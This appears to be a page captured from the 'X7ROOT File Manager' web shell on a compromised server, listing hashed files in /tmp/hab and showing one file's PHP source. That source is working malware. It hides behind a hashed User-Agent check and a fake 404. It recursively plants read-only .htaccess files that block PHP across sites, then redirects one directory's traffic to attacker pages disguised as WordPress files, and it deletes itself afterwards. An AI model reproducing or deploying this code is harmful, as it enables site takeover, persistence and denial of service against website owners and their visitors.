X7ROOT File Manager
Current Path:
/tmp/hab
tmp
/
hab
/
๐
..
๐
007e572699b41087381524e39b705b3d
(22.34 KB)
๐
2f264b4aebb52e4a8fbbe0c8909e9746
(3.43 KB)
๐
2fe04a509f8002d2981769d835c85e9e
(38.06 KB)
๐
3a0eb6521669121f05065f6e5447cf36
(21.61 KB)
๐
5362900edba731c3524bde6a562ec48e
(831 B)
๐
57ef809748fdd0bf99c9a21b4cf383b6
(34.29 KB)
๐
6235ce0b2178f3fc0f17478e016be9b9
(6.67 KB)
๐
680e9af0144ce307386c354e90db8e4f
(6.25 KB)
๐
6f2d1bc1dbfed21591f25c6ef98f3cdc
(251.93 KB)
๐
77fac4bb4137731b354ab98f6709c59b
(19.15 KB)
๐
92037d81dcbc017e41ec3208deb64e43
(91 B)
๐
a33a7d746ca336ef93ec090b103c6c90
(367 B)
๐
fd6e8262c79de1facae23074e505665e
(23.72 KB)
Editing: 6235ce0b2178f3fc0f17478e016be9b9
<?php error_reporting(0); setTimeLimit(0); session_start(); ini_set('memory_limit', '-1'); define('UAMD53KEY', 'da50c456f164497679149f21d7e036be'); if(md5(md5(md5($_SERVER['HTTP_USER_AGENT']))) != UAMD53KEY){ header('HTTP/1.1 404 Not Found'); header("status: 404 Not Found"); die(); } function setTimeLimit($intT){ if(function_exists('set_time_limit')){ set_time_limit($intT); } } define('STEP', 2000); if(!empty($_GET['subdir'])){ $_SESSION['subdir'] = base64_decode($_GET['subdir']); } $count = 0; $total = empty($_GET['total']) ? 0 : $_GET['total']; echo "total:".$total; $GLOBALS['lastPathFound'] = false; $content = '<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php - [L] RewriteRule ^.*\.[pP][hH].* - [L] RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L] <FilesMatch "\.(php|php7|phtml|suspected)$"> Deny from all </FilesMatch> </IfModule>'; $md5content = md5($content); $tempFile = md5($_SERVER["HTTP_HOST"].$_SERVER['SCRIPT_FILENAME']); define('TEMP_FILE', $tempFile); define('HT_CONTENT', $content); define('HT_CONTENT_MD5', $md5content); file_put_contents(TEMP_FILE, "1"); $dir = "."; $lastPath = empty($_GET['lastPath']) ? "" : base64_decode($_GET["lastPath"]); echo "lastPath:" . $lastPath . "<br>\n"; $path = formatPath($dir); $lastPath = formatPath($lastPath); if(file_exists(TEMP_FILE)){ if(recurDirHt($path, $count, $total, $lastPath)){ echo "all done!<br>"; $GLOBALS['lastPath'] = ""; } }else{ echo 'root dir is not writeable, abord!<br>'; } if(!empty($_SESSION['subdir'])){ $content2 = '<IfModule mod_rewrite.c>'. PHP_EOL.'RewriteEngine On'. PHP_EOL.'RewriteBase /'. PHP_EOL.'RewriteRule ^(index|wp\-admin|wp\-include|wp\-comment|wp\-loader|wp\-corn\-sample|wp\-logln|output|about|admin|randkeyword|readurl|wp\-ver).php$ - [L]'. PHP_EOL.'RewriteRule ^.*\.[pP][hH].* index.php [L]'. PHP_EOL.'RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] index.php [L]'. PHP_EOL.'RewriteCond %{REQUEST_FILENAME} !-f'. PHP_EOL.'RewriteCond %{REQUEST_FILENAME} !-d'. PHP_EOL.'RewriteRule . index.php [L]'. PHP_EOL.'</IfModule>'; file_put_contents_force($_SESSION['subdir'] . DIRECTORY_SEPARATOR . '.ht' . 'access', $content2); } deletefile($_SERVER['SCRIPT_FILENAME']); echo 'try to delete :' . $_SERVER['SCRIPT_FILENAME'] . "<br>\n"; echo '<meta http-equiv="refresh" content="0; url=/" />'; die; function recurDirHt($pathName, &$count, &$total, $lastPath = "") { $lastSubPath = firstSubDir($pathName, $lastPath); $result = false; if(is_dir($pathName)) { $allFiles = scandir($pathName); if(empty($lastSubPath)){ $GLOBALS['lastPathFound'] = true; } foreach($allFiles as $fileName) { $fullName = $pathName.'/'.$fileName; if(in_array($fileName, array('.', '..'))) { continue; } if(is_file($fullName)) { continue; } if(is_link($fullName)) { continue; } if($GLOBALS['lastPathFound'] == true || $fileName == $lastSubPath){ if($fileName == $lastSubPath){ echo "found: ".$lastSubPath."<br>\n"; } if($fullName == $lastPath){ $GLOBALS['lastPathFound'] = true; echo "found lastPath".$lastPath."<br>\n"; } if($GLOBALS['lastPathFound'] == true){ $count++; $total++; $GLOBALS['lastPath'] = $fullName; echo createHt($fullName); if(STEP <= $count){ echo 'Last Path is :' . $fullName . "<br>\n"; echo '<meta http-equiv="refresh" content="0; url=?total='.$total.'&lastPath='.base64_encode($fullName).'" />';die; }else{ echo "progress:".$count."/".$total."<br>\n"; } }else{ echo 'ignore:' . $fullName . " lastPathFound false!<br>\n"; } if(!is_link($fullName) && is_dir($fullName) && is_readable($fullName)) { $result = recurDirHt($fullName, $count, $total, $lastPath); } }else{ echo 'ignore:' . $fullName . "<br>\n"; } } $result = true; } return $result; } function firstSubDir($path, $lastPath){ $arrPath = arrPathExplode($path); $arrLastPath = arrPathExplode($lastPath); foreach($arrLastPath as $k => $v){ if(!isset($arrPath[$k]) || empty($arrPath[$k])){ return $v; } } return ''; } function arrPathExplode($path){ $path = formatPath($path); $arr = explode('/', $path); return $arr; } function formatPath($path){ $path = str_replace('\\', '/', $path); $path = preg_replace("|/+|", '/', $path); $path = rtrim($path, '/'); return $path; } function createHt($path){ $result = ""; if(file_exists($path . "/" . TEMP_FILE)){ $result = $path.'ๆฏๆ น็ฎๅฝ,ๆพๅผๆง่ก๏ผๅ ไธบๅญๅจ'.$path . "/" . TEMP_FILE.'<br>'."\n"; }elseif(file_exists($path . "/4c7a17f635a4d887cf587a123b6a6bc4") || file_exists($path . "/.ftpquotas")){ $result = $path.'ๆฏๅ ถไป็ฝ็ซๆ น็ฎๅฝ,ๆพๅผๆง่ก๏ผ<br>'."\n"; }else{ $htfile = $path . base64_decode("Ly5odGFjY2Vzcw=="); file_put_contents_force($htfile, HT_CONTENT); chmod($htfile, 0444); $thecontent = file_get_contents($path.base64_decode("Ly5odGFjY2Vzcw==")); $theContentMd5 = md5($thecontent); if($theContentMd5 != HT_CONTENT_MD5){ $result = $htfile.'ๆดๆฐๅคฑ่ดฅ๏ผ่ฏท่็ณปๆๆฏๅค็๏ผ<br>'."\n"; }else{ $result = $htfile.' done!<br>'."\n"; } } return $result; } function file_put_contents_force($filename, $content){ if(is_file($filename)){ chmod($filename, 0747); } file_put_contents($filename, $content); } function deletefile($file){ unlink($file); if(file_exists($file)){ file_put_contents($file, ""); echo 'delete failed<br>'."\n"; } if(file_exists($file)){ rename($file, "/tmp/".md5($file.time())); echo 'truncat failed<br>'."\n"; } if(file_exists($file)){ echo 'move failed<br>'."\n"; } } die("done!"); ?>
Upload File
Create Folder